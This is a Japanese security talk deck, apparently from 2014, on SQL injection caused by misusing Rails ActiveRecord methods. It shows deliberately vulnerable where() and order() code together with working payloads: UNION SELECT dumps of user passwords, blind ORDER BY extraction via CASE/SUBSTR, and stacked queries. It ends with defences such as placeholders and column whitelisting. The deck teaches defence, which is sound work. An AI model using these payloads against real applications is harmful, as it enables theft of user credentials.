Rails SQL Injection Examplesの紹介

Hiroshi Tokumaru
Hiroshi TokumaruSecurity Engineer at EG Secure Solutions Inc.
Rails SQL Injection Examplesの紹介
2014年6月11日
徳丸 浩
Rails SQL Injection Examplesとは
Copyright © 2010-2014 HASH Consulting Corp.
2
Rails SQL Injection Examplesとは
3http://rails-sqli.org/ より引用
Ruby on Railsの
ActiveRecordのメソッド
やオプションの指定方法
の誤りによるSQLインジェ
クションのサンプル集
Example1:whereメソッド
4http://rails-sqli.org/ より引用
whereメソッドの用途と注意点
• SQLのWHERE句を「生で」指定できる
• 文字列連結でWHERE句を組み立てると、普通
にSQLインジェクション脆弱となる
• 正しくはプレイスホルダを使う(後述)
• 前述の例は認証回避の例だが…飽きたw
Copyright © 2010-2014 HASH Consulting Corp.
5
脆弱性のあるアプリケーション
Copyright © 2010-2014 HASH Consulting Corp.
6
@books = Book.where(
"publish = '#{params[:publish]}' AND price >= #{params[:price]}")
山田 祥寛 (著)
Ruby on Rails 4 アプリケーションプログラミング
技術評論社 (2014/4/11)
に脆弱性を加えましたw
※元本に脆弱性があるわけではありません
UNION SELECTにより個人情報を窃取
Copyright © 2010-2014 HASH Consulting Corp.
7
priceに以下を入れる
1) UNION SELECT
id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users --
SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >=
1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,
updated_at FROM users --)
対策 プレースホルダ
8Ruby on Rails 4 アプリケーションプログラミング、山田 祥寛より引用
Example2: orderメソッド
9http://rails-sqli.org/ より引用
ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って?
• ORDER BY の後には式が書ける
• 以下のSQL文は算数と国語の点数の合計でソートす
る
– SELECT * FROM 成績 ORDER BY (算数+国語)
• 以下の式は、password列の一文字目が s なら 0
そうでなければ 1 を返す
– CASE SUBSTR(password, 1, 1)
WHEN 's' THEN 0
ELSE 1
END
• よって、このORDER BYは、「パスワードの一文字目
が s」の利用者を先頭に集めるソート…だが、しかし
Copyright © 2010-2014 HASH Consulting Corp.
10
どういうページを想定しているのか?
Copyright © 2010-2014 HASH Consulting Corp.
11
こういうページですか? わかりません (>_<)
これでは、
元々が個人情
報漏えいだw
とは言え、やってみた
Copyright © 2010-2014 HASH Consulting Corp.
12
# SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(passwd,
1, 1) WHEN 'a' THEN 0 else 1 END) asc;
id | userid | passwd | tel | mail
----+-----------+--------+--------------+---------------------
1 | tanaka | abcd | 03-1234-5678 | tanaka@example.jp
2 | yamada | aaaa | 06-2345-6789 | yamada@example.jp
3 | ockeghem | dcba | 045-678-9012 | ockeghem@example.jp
4 | takahashi | cdcd | 099-123-4567 | takahashi@exmaple.jp
パスワードの一文字目が「a」は、実際には2件該当している
http://ror4:3000/users?order=(C
ASE+SUBSTR(passwd,1,1)+WH
EN+'a'+THEN+0+else+1+END)
パスワードの一文字目が「a」のも
のを先頭に持ってきたが、何件該
当するかが分からない。0件の可
能性もある
課題は二つ
• 個人情報の一覧ページがあり、ソート順を指定で
きるという想定が現実的でない
• 特定のソート条件は指定できるが、該当件数が
わからない
Copyright © 2010-2014 HASH Consulting Corp.
13
改良1: 別の一覧と個人情報をマップする
Copyright © 2010-2014 HASH Consulting Corp.
14
書籍の一覧と個人情報をマップする
Copyright © 2010-2014 HASH Consulting Corp.
15
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by passwd;
id | title | userid | passwd
----+------------------------------------+-----------+-------
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
4 | 書き込み式SQLのドリル | takahashi | cdcd
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
ORDER BYの副問い合わせ
Copyright © 2010-2014 HASH Consulting Corp.
16
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case when userid='ockeghem' then 0 else 1 end from users where
books.id=users.id);
(select case
when userid='ockeghem' then 0 -- userid='ockeghem' を先頭に
else 1 -- その他は後ろに
end from users where books.id=users.id)
ORDER BY の副問い合わせ
userid=ockeghemと対応する行を見つける
Copyright © 2010-2014 HASH Consulting Corp.
17
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case when userid='ockeghem' then 0 else 1 end from users where
books.id=users.id);
id | title | userid | passwd
----+------------------------------------+-----------+--------
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
4 | 書き込み式SQLのドリル | takahashi | cdcd
先頭行がuserid=ockeghemに対応
改良2: セパレータとなる行を挟む
Copyright © 2010-2014 HASH Consulting Corp.
18
ORDER BYの副問い合わせ
Copyright © 2010-2014 HASH Consulting Corp.
19
=# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2
end from users where books.id=users.id);
(select case userid
when 'tanaka' then 0 -- 'tanaka' を先頭に
when 'ockeghem' then 1 -- 'ockeghem' はセパレータ
else 2 -- その他は後ろに
end from users where books.id=users.id)
※セパレータがないと、'tanaka'が存在しない場合を区別できない
ORDER BY の副問い合わせ
userid=tanakaと対応する行を見つける
Copyright © 2010-2014 HASH Consulting Corp.
20
wasbook=# SELECT books.id, books.title, users.userid,
users.passwd FROM books, users WHERE books.id=users.id order
by (select case userid when 'tanaka' then 0 when 'ockeghem'
then 1 else 2 end from users where books.id=users.id);
id | title | userid | passwd
----+------------------------------------+-----------+--------
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
4 | 書き込み式SQLのドリル | takahashi | cdcd
userid=ockeghemをセパレータに
デモを見やすくするために書籍タイトルにユーザ名を併記
Copyright © 2010-2014 HASH Consulting Corp.
21
※デモを見やすくするための表示であり、「改ざん」をするという想定ではありません
辞書攻撃で発
見したユーザ
パスワードに対する辞書攻撃(1)
Copyright © 2010-2014 HASH Consulting Corp.
22
SELECT "books".* FROM "books" ORDER BY (select case when
userid='ockeghem' then 1 when passwd='abcd' then 0 else 2 end
from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when passwd='abcd' then 0 -- passwd='abcd' を先頭に
else 2
end
from users where books.id=users.id
userid=ockeghemをセパレータに
tanakaのパスワードがabcdと判明
パスワードに対する辞書攻撃(2)
Copyright © 2010-2014 HASH Consulting Corp.
23
SELECT "books".* FROM "books" ORDER BY (select case when
userid='ockeghem' then 1 when passwd='bcda' then 0 else 2 end
from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when passwd='bcda' then 0 -- passwd='bcda' を先頭に
else 2
end
from users where books.id=users.id
userid=ockeghemをセパレータに
passwd=bcda は存在しないことが判明
一文字ずつ試行するブラインドSQL
インジェクション
Copyright © 2010-2014 HASH Consulting Corp.
24
パスワードの1文字目が a の利用者を探す
Copyright © 2010-2014 HASH Consulting Corp.
25
select id, title from books order by (select case when
userid='ockeghem' then 1 when SUBSTR(passwd,1,1)='a' then 0
else 2 end from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when SUBSTR(passwd,1,1)='a' then 0 –- 1文字目が a を先頭に
else 2
end from users where books.id=users.id
userid=ockeghemをセパレータに
tanakaとyamadaのパスワード
1文字目がaと判明
1回の試行で1種類の文字チェック
しかできないのは不効率だが…
Copyright © 2010-2014 HASH Consulting Corp.
26
セパレータを増やせば、一度に多く
の文字をチェック可能
Copyright © 2010-2014 HASH Consulting Corp.
27
aaaa, bbbb, cccc, ddddの4ユーザを登録
Copyright © 2010-2014 HASH Consulting Corp.
28
(select case userid
when 'aaaa' then 0
when 'bbbb' then 1
when 'cccc' then 2
when 'dddd' then 3
else 4
end from users where
books.id=users.id)
パスワードの一文字目をまとめてクエリ
Copyright © 2010-2014 HASH Consulting Corp.
29
(SELECT CASE
WHEN userid='aaaa' THEN 1
WHEN userid='bbbb' THEN 3
WHEN userid='cccc' THEN 5
WHEN userid='dddd' THEN 7
WHEN SUBSTR(passwd,1,1)='a' THEN 0
WHEN SUBSTR(passwd,1,1)='b' THEN 2
WHEN SUBSTR(passwd,1,1)='c' THEN 4
WHEN SUBSTR(passwd,1,1)='d' THEN 6
ELSE 99
END FROM users WHERE books.id=users.id)
※ 簡単化のためパスワードは a~d 4文字で構成とする
パスワードの1文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
30
tanakaとyamadaのパスワード
1文字目がaと判明
takahashiのパスワード1文字目がcと判明
ockeghemのパスワード1文字目がdと判明
tanaka a***
yamada a***
takahashi c***
ockeghem d***
パスワードの2文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
31
takahashiのパスワード2文字目がdと判明
ockeghemのパスワード2文字目がcと判明
tanaka ab**
yamada aa**
takahashi cd**
ockeghem dc**
tanakaのパスワード2文字目がbと判明
yamadaのパスワード2文字目がaと判明
パスワードの3文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
32
tanakaとtakahashiのパスワード
3文字目がcと判明
yamadaのパスワード3文字目がaと判明
ockeghemのパスワード3文字目がbと判明
tanaka abc*
yamada aaa*
takahashi cdc*
ockeghem dcb*
パスワードの4文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
33
ockeghemとyamadaのパスワ
ード1文字目がaと判明
tanaka abcd
yamada aaaa
takahashi cdcd
ockeghem dcba
tamalaとtakahashiのパスワー
ド4文字目が d と判明
もっと簡単な方法はないのか?
Copyright © 2010-2014 HASH Consulting Corp.
34
UNION(not ONION) は?
Copyright © 2010-2014 HASH Consulting Corp.
35
ORDER BYの後にUNIONは使えない
Copyright © 2010-2014 HASH Consulting Corp.
36
PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー
LINE 1: SELECT "books".* FROM "books" ORDER BY title
UNION SELECT ...
^
: SELECT "books".* FROM "books" ORDER BY title UNION
SELECT * FROM users -- asc
PostgreSQLの場合、複文は使え
ないか?
Copyright © 2010-2014 HASH Consulting Corp.
37
やはりエラーになる
Copyright © 2010-2014 HASH Consulting Corp.
38
missing attribute: isbn
SELECT "books".* FROM "books" ORDER BY title;SELECT * FROM users -- asc
しかし、missing attribute: isbn
なら、別名として与えてやれば…
Copyright © 2010-2014 HASH Consulting Corp.
39
ユーザー情報の窃取に成功
Copyright © 2010-2014 HASH Consulting Corp.
40
SELECT "books".* FROM "books" ORDER BY title;SELECT id,userid AS
isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM
users-- asc
対策
Copyright © 2010-2014 HASH Consulting Corp.
42
表名、列名によるSQLインジェクションの対策
• 以下のいずれか、あるいは複数を実施
• 列名をクォート&エスケープする
• 列名が許可されたものかどうかを検査する
– いわゆるホワイトリスト検査
• 列を数字で指定して、内部で列名に変換する
Copyright © 2010-2014 HASH Consulting Corp.
43
列名をシンボルに変換すると、クォート&エスケープされるが
Copyright © 2010-2014 HASH Consulting Corp.
44
SELECT "books".* FROM "books" ORDER BY "books"."title""a" ASC
def index
p = params[:order].to_sym
@books = p ? Book.order(p) : Book.all
end
ユーザ入力を無条件にシンボルに変換するのはまずい
• シンボルはGCで回収されない
• 外部から任意のシンボルを作れる場合、非常に多数のシンボルを作ら
れるとメモリを過度に消費してしまう
• 類似の例にCVE-2014-0082がある
• 列名のホワイトリスト検査と併用ならば可(シンボル数が抑制される)
Copyright © 2010-2014 HASH Consulting Corp.
45
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-001439.html より引用
まとめ
• Ruby on RailsのActiveRecordの使い方に起因するSQLイン
ジェクションを紹介
• ActiveRecordのメソッドには、与えられた文字列が「そのま
ま」SQL文に展開されるものがある
• 値パラメータについてはプレースホルダを活用
• 表名、列名、キーワードについては以下のいずれかを行う
– 表名、列名、キーワードのホワイトリスト検査
– 外部では番号で指定して、内部で表名、列名、キーワード等に変換
する
• SQL識別子のクォート&エスケープをさせる目的で、Rubyの
識別子を積極的に活用することの是非については有識者の
ご意見をお伺いしたいです
Copyright © 2010-2014 HASH Consulting Corp.
46
1 of 45

Recommended

正しいものを正しく作る塾-設計コース by
正しいものを正しく作る塾-設計コース正しいものを正しく作る塾-設計コース
正しいものを正しく作る塾-設計コース増田 亨
9.5K views9 slides
ドメイン駆動で開発する ラフスケッチから実装まで by
ドメイン駆動で開発する ラフスケッチから実装までドメイン駆動で開発する ラフスケッチから実装まで
ドメイン駆動で開発する ラフスケッチから実装まで増田 亨
15.7K views103 slides
ドメイン駆動設計 ( DDD ) をやってみよう by
ドメイン駆動設計 ( DDD ) をやってみようドメイン駆動設計 ( DDD ) をやってみよう
ドメイン駆動設計 ( DDD ) をやってみよう増田 亨
50.1K views45 slides
ドメインオブジェクトの見つけ方・作り方・育て方 by
ドメインオブジェクトの見つけ方・作り方・育て方ドメインオブジェクトの見つけ方・作り方・育て方
ドメインオブジェクトの見つけ方・作り方・育て方増田 亨
30.6K views95 slides
DDD 20121106 SEA Forum November by
DDD 20121106 SEA Forum NovemberDDD 20121106 SEA Forum November
DDD 20121106 SEA Forum November増田 亨
4.2K views74 slides
オブジェクト指向プログラミングの現在・過去・未来 by
オブジェクト指向プログラミングの現在・過去・未来オブジェクト指向プログラミングの現在・過去・未来
オブジェクト指向プログラミングの現在・過去・未来増田 亨
6.6K views39 slides

More Related Content

What's hot

マイクロサービス 4つの分割アプローチ by
マイクロサービス 4つの分割アプローチマイクロサービス 4つの分割アプローチ
マイクロサービス 4つの分割アプローチ増田 亨
41.4K views60 slides
ドメイン駆動設計の正しい歩き方 by
ドメイン駆動設計の正しい歩き方ドメイン駆動設計の正しい歩き方
ドメイン駆動設計の正しい歩き方増田 亨
25.3K views61 slides
ドメイン駆動設計のためのオブジェクト指向入門 by
ドメイン駆動設計のためのオブジェクト指向入門ドメイン駆動設計のためのオブジェクト指向入門
ドメイン駆動設計のためのオブジェクト指向入門増田 亨
48K views89 slides
雑なMySQLパフォーマンスチューニング by
雑なMySQLパフォーマンスチューニング雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニングyoku0825
55K views142 slides
ドメインオブジェクトの設計ガイドライン by
ドメインオブジェクトの設計ガイドラインドメインオブジェクトの設計ガイドライン
ドメインオブジェクトの設計ガイドライン増田 亨
3.6K views10 slides
ソフトウェア開発のやり方の改善 by
ソフトウェア開発のやり方の改善ソフトウェア開発のやり方の改善
ソフトウェア開発のやり方の改善増田 亨
6.6K views26 slides

What's hot(20)

マイクロサービス 4つの分割アプローチ by 増田 亨
マイクロサービス 4つの分割アプローチマイクロサービス 4つの分割アプローチ
マイクロサービス 4つの分割アプローチ
増田 亨41.4K views
ドメイン駆動設計の正しい歩き方 by 増田 亨
ドメイン駆動設計の正しい歩き方ドメイン駆動設計の正しい歩き方
ドメイン駆動設計の正しい歩き方
増田 亨25.3K views
ドメイン駆動設計のためのオブジェクト指向入門 by 増田 亨
ドメイン駆動設計のためのオブジェクト指向入門ドメイン駆動設計のためのオブジェクト指向入門
ドメイン駆動設計のためのオブジェクト指向入門
増田 亨48K views
雑なMySQLパフォーマンスチューニング by yoku0825
雑なMySQLパフォーマンスチューニング雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニング
yoku082555K views
ドメインオブジェクトの設計ガイドライン by 増田 亨
ドメインオブジェクトの設計ガイドラインドメインオブジェクトの設計ガイドライン
ドメインオブジェクトの設計ガイドライン
増田 亨3.6K views
ソフトウェア開発のやり方の改善 by 増田 亨
ソフトウェア開発のやり方の改善ソフトウェア開発のやり方の改善
ソフトウェア開発のやり方の改善
増田 亨6.6K views
ドメイン駆動設計に15年取り組んでわかったこと by 増田 亨
ドメイン駆動設計に15年取り組んでわかったことドメイン駆動設計に15年取り組んでわかったこと
ドメイン駆動設計に15年取り組んでわかったこと
増田 亨10.2K views
ドメイン駆動設計入門 by Takuya Kitamura
ドメイン駆動設計入門ドメイン駆動設計入門
ドメイン駆動設計入門
Takuya Kitamura44.4K views
ドメイン駆動設計の捉え方 20150718 by Mao Ohnishi
ドメイン駆動設計の捉え方 20150718ドメイン駆動設計の捉え方 20150718
ドメイン駆動設計の捉え方 20150718
Mao Ohnishi5.5K views
広告がうざい by Gen Ito
広告がうざい広告がうざい
広告がうざい
Gen Ito1.8K views
Where狙いのキー、order by狙いのキー by yoku0825
Where狙いのキー、order by狙いのキーWhere狙いのキー、order by狙いのキー
Where狙いのキー、order by狙いのキー
yoku082539.5K views
例外設計における大罪 by Takuto Wada
例外設計における大罪例外設計における大罪
例外設計における大罪
Takuto Wada68.6K views
ビジネスルールの複雑さに立ち向かう by 増田 亨
ビジネスルールの複雑さに立ち向かうビジネスルールの複雑さに立ち向かう
ビジネスルールの複雑さに立ち向かう
増田 亨12.2K views
BuildKitによる高速でセキュアなイメージビルド by Akihiro Suda
BuildKitによる高速でセキュアなイメージビルドBuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルド
Akihiro Suda42.6K views
ドメイン駆動設計(DDD)の実践Part2 by 増田 亨
ドメイン駆動設計(DDD)の実践Part2ドメイン駆動設計(DDD)の実践Part2
ドメイン駆動設計(DDD)の実践Part2
増田 亨12.9K views
オブジェクト指向の設計と実装の学び方のコツ by 増田 亨
オブジェクト指向の設計と実装の学び方のコツオブジェクト指向の設計と実装の学び方のコツ
オブジェクト指向の設計と実装の学び方のコツ
増田 亨95.1K views
ドメイン駆動設計という設計スタイル by 増田 亨
ドメイン駆動設計という設計スタイルドメイン駆動設計という設計スタイル
ドメイン駆動設計という設計スタイル
増田 亨17.4K views
ドメイン駆動設計入門 by 増田 亨
ドメイン駆動設計入門ドメイン駆動設計入門
ドメイン駆動設計入門
増田 亨28.6K views
ストリーム処理を支えるキューイングシステムの選び方 by Yoshiyasu SAEKI
ストリーム処理を支えるキューイングシステムの選び方ストリーム処理を支えるキューイングシステムの選び方
ストリーム処理を支えるキューイングシステムの選び方
Yoshiyasu SAEKI40.2K views
テスト文字列に「うんこ」と入れるな by Kentaro Matsui
テスト文字列に「うんこ」と入れるなテスト文字列に「うんこ」と入れるな
テスト文字列に「うんこ」と入れるな
Kentaro Matsui178K views

Viewers also liked

安全なPHPアプリケーションの作り方2014 by
安全なPHPアプリケーションの作り方2014安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014Hiroshi Tokumaru
55.3K views46 slides
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012 by
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012Hiroshi Tokumaru
14.6K views99 slides
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか by
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのかSecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのかHiroshi Tokumaru
9.2K views27 slides
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに by
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかにHiroshi Tokumaru
9.1K views56 slides
文字コードの脆弱性はこの3年間でどの程度対策されたか? by
文字コードの脆弱性はこの3年間でどの程度対策されたか?文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?Hiroshi Tokumaru
32.7K views32 slides
セキュアコーディング方法論再構築の試み by
セキュアコーディング方法論再構築の試みセキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みHiroshi Tokumaru
38.6K views58 slides

Viewers also liked(20)

安全なPHPアプリケーションの作り方2014 by Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2014安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru55.3K views
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012 by Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru14.6K views
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか by Hiroshi Tokumaru
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのかSecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
Hiroshi Tokumaru9.2K views
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに by Hiroshi Tokumaru
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Hiroshi Tokumaru9.1K views
文字コードの脆弱性はこの3年間でどの程度対策されたか? by Hiroshi Tokumaru
文字コードの脆弱性はこの3年間でどの程度対策されたか?文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?
Hiroshi Tokumaru32.7K views
セキュアコーディング方法論再構築の試み by Hiroshi Tokumaru
セキュアコーディング方法論再構築の試みセキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試み
Hiroshi Tokumaru38.6K views
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編) by Hiroshi Tokumaru
 Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編) Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Hiroshi Tokumaru33K views
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう by Hiroshi Tokumaru
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼうCMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
Hiroshi Tokumaru52.8K views
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか by Hiroshi Tokumaru
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
Hiroshi Tokumaru74.4K views
安全なPHPアプリケーションの作り方2016 by Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2016安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru36.8K views
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ by Hiroshi Tokumaru
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせphpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
Hiroshi Tokumaru10.4K views
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱 by Hiroshi Tokumaru
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱 WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
Hiroshi Tokumaru44.5K views
ガラケーで楽しむオレJSの勧め by Hiroshi Tokumaru
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
Hiroshi Tokumaru5K views
UnicodeによるXSSと SQLインジェクションの可能性 by Hiroshi Tokumaru
UnicodeによるXSSとSQLインジェクションの可能性UnicodeによるXSSとSQLインジェクションの可能性
UnicodeによるXSSと SQLインジェクションの可能性
Hiroshi Tokumaru4.5K views
文字コードに起因する脆弱性とその対策 by Hiroshi Tokumaru
文字コードに起因する脆弱性とその対策 文字コードに起因する脆弱性とその対策
文字コードに起因する脆弱性とその対策
Hiroshi Tokumaru21.4K views
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011 by Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru7.2K views

Similar to Rails SQL Injection Examplesの紹介

ArcBox のおさらいと最新情報 by
ArcBox のおさらいと最新情報ArcBox のおさらいと最新情報
ArcBox のおさらいと最新情報Kazuki Takai
19 views32 slides
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築 by
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築Kazuki Takai
76 views42 slides
DTraceによるMySQL解析ことはじめ by
DTraceによるMySQL解析ことはじめDTraceによるMySQL解析ことはじめ
DTraceによるMySQL解析ことはじめMikiya Okuno
3.9K views34 slides
Slick入門 by
Slick入門Slick入門
Slick入門chibochibo
7.2K views30 slides
Ruby で扱う LDAP のススメ by
Ruby で扱う LDAP のススメRuby で扱う LDAP のススメ
Ruby で扱う LDAP のススメKazuaki Takase
13.3K views49 slides
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpring by
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpringオープンソースRDBMS新機能ランダウンOSC2017TokyoSpring
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpringMeiji Kimura
1.5K views74 slides

Similar to Rails SQL Injection Examplesの紹介(20)

ArcBox のおさらいと最新情報 by Kazuki Takai
ArcBox のおさらいと最新情報ArcBox のおさらいと最新情報
ArcBox のおさらいと最新情報
Kazuki Takai19 views
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築 by Kazuki Takai
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築
Kazuki Takai76 views
DTraceによるMySQL解析ことはじめ by Mikiya Okuno
DTraceによるMySQL解析ことはじめDTraceによるMySQL解析ことはじめ
DTraceによるMySQL解析ことはじめ
Mikiya Okuno3.9K views
Slick入門 by chibochibo
Slick入門Slick入門
Slick入門
chibochibo7.2K views
Ruby で扱う LDAP のススメ by Kazuaki Takase
Ruby で扱う LDAP のススメRuby で扱う LDAP のススメ
Ruby で扱う LDAP のススメ
Kazuaki Takase13.3K views
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpring by Meiji Kimura
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpringオープンソースRDBMS新機能ランダウンOSC2017TokyoSpring
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpring
Meiji Kimura1.5K views
Programming AWS with Perl at YAPC::Asia 2013 by Yasuhiro Horiuchi
Programming AWS with Perl at YAPC::Asia 2013Programming AWS with Perl at YAPC::Asia 2013
Programming AWS with Perl at YAPC::Asia 2013
Yasuhiro Horiuchi7.1K views
Aerospike xdr (Cross Datacenter Replication) by Makoto Uehara
Aerospike xdr (Cross Datacenter Replication)Aerospike xdr (Cross Datacenter Replication)
Aerospike xdr (Cross Datacenter Replication)
Makoto Uehara2.5K views
HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014) by Hadoop / Spark Conference Japan
HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)
HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)
Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日) by Issei Nishigata
Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)
Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)
Issei Nishigata4.5K views
アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App... by Google Cloud Platform - Japan
アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...
アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...
Chugoku db 20th-postgresql-10-pub by Toshi Harada
Chugoku db 20th-postgresql-10-pubChugoku db 20th-postgresql-10-pub
Chugoku db 20th-postgresql-10-pub
Toshi Harada1.2K views
C#実装から見るDDD(ドメイン駆動設計) by Takuya Kawabe
C#実装から見るDDD(ドメイン駆動設計)C#実装から見るDDD(ドメイン駆動設計)
C#実装から見るDDD(ドメイン駆動設計)
Takuya Kawabe20.4K views
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011 by Hiroh Satoh
